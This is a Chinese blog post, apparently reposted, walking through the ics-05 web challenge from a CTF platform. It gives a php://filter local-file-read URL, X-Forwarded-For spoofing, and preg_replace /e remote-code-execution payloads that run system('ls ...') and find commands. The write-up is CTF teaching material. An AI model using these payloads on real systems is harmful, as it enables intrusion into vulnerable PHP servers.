博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界web进阶区ics-05详解
阅读量:2134 次
发布时间:2019-04-30

本文共 2395 字,大约阅读时间需要 7 分钟。

攻防世界web进阶区ics-05详解

题目

在这里插入图片描述

我们只能点击一个地方
在这里插入图片描述

解法

在这里插入图片描述

御剑扫描有一个css的文件
在这里插入图片描述
没有什么作用
在这里插入图片描述
发现又点了一次的时候,url发生了改变

因为是php的页面,我们试试php伪协议读取文件

在这里插入图片描述

http://220.249.52.133:39554/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
设备维护中心
设备列表

0) {
die(); } if (strpos($page, 'ta:text') > 0) {
die(); } if (strpos($page, 'text') > 0) {
die(); } if ($page === 'index.php') {
die('Ok'); } include($page); die(); ?>

Welcome My Admin !
"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject); }else{
die(); }}?>

这是我们解密出来的文件内容

发现了一个输入的函数
他如果是字母和数字组合的话,输出page内容,同时die掉
如果不是字母和数字的组合的话,
在这里插入图片描述
走如下的else
page中不能存在input,ta:text,text,而且不能是在page的开头处存在,否则就die掉
如果page中包含index。php,那就输出ok,然后包含page这个文件

最后还有一个内部人员的测试版本,如果要从内部访问的话,

其实本地的命令执行就可以进行使用这个函数
首先伪造xff

在这里插入图片描述

在这里插入图片描述
pattern,replacement,subject,同时有值的话
preg_replace,搜索subject中 pattern的字符串,同时替换为replacement

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

也就是说pattern参数的结尾包含了/e修正符的话,如果replacement构成合法的代码的话便会执行

在这里插入图片描述

我们使用插件,成功的模拟了本地访问

我们来一波Rce
要注意字符串两个相匹配
在这里插入图片描述
?pat=/heihei/e&rep=system('ls /var/www/html')&sub=heihei
在这里插入图片描述
我们使用一下find命令
?pat=/heihei/e&rep=system('find -name *flag*')&sub=heihei
在这里插入图片描述

preg_replace

在这里插入图片描述

ctype_alnum

//判断是否是字母和数字或字母数字的字符串组合if(!ctype_alnum($str)){
echo '只能是字母或数字的组合';exit;}

strpos

查询某个字符串在某个字符串中第一次出现的位置

在这里插入图片描述

X-Forwarded-For

IP伪造

TCP/IP层面的IP伪造很难实现,因为更改后很难实现正常的TCP通信,但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造

XFF字段

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式:

X-Forwarded-For: client1, proxy1, proxy2, proxy3

左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)

伪造方式

可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数

使用X-Fordward-For 火狐插件即可

转载地址:http://bgugf.baihongyu.com/

你可能感兴趣的文章
PHPUnit安装及使用
查看>>
PHP项目用xhprof性能分析(安装及应用实例)
查看>>
composer安装YII
查看>>
Sublime text3快捷键演示
查看>>
sublime text3 快捷键修改
查看>>
关于PHP几点建议
查看>>
硬盘的接口、协议
查看>>
VLAN与子网划分区别
查看>>
Cisco Packet Tracer教程
查看>>
02. 交换机的基本配置和管理
查看>>
03. 交换机的Telnet远程登陆配置
查看>>
微信小程序-调用-腾讯视频-解决方案
查看>>
phpStudy安装yaf扩展
查看>>
密码 加密 加盐 常用操作记录
查看>>
TP 分页后,调用指定页。
查看>>
Oracle数据库中的(+)连接
查看>>
java-oracle中几十个实用的PL/SQL
查看>>
PLSQL常用方法汇总
查看>>
几个基本的 Sql Plus 命令 和 例子
查看>>
PLSQL单行函数和组函数详解
查看>>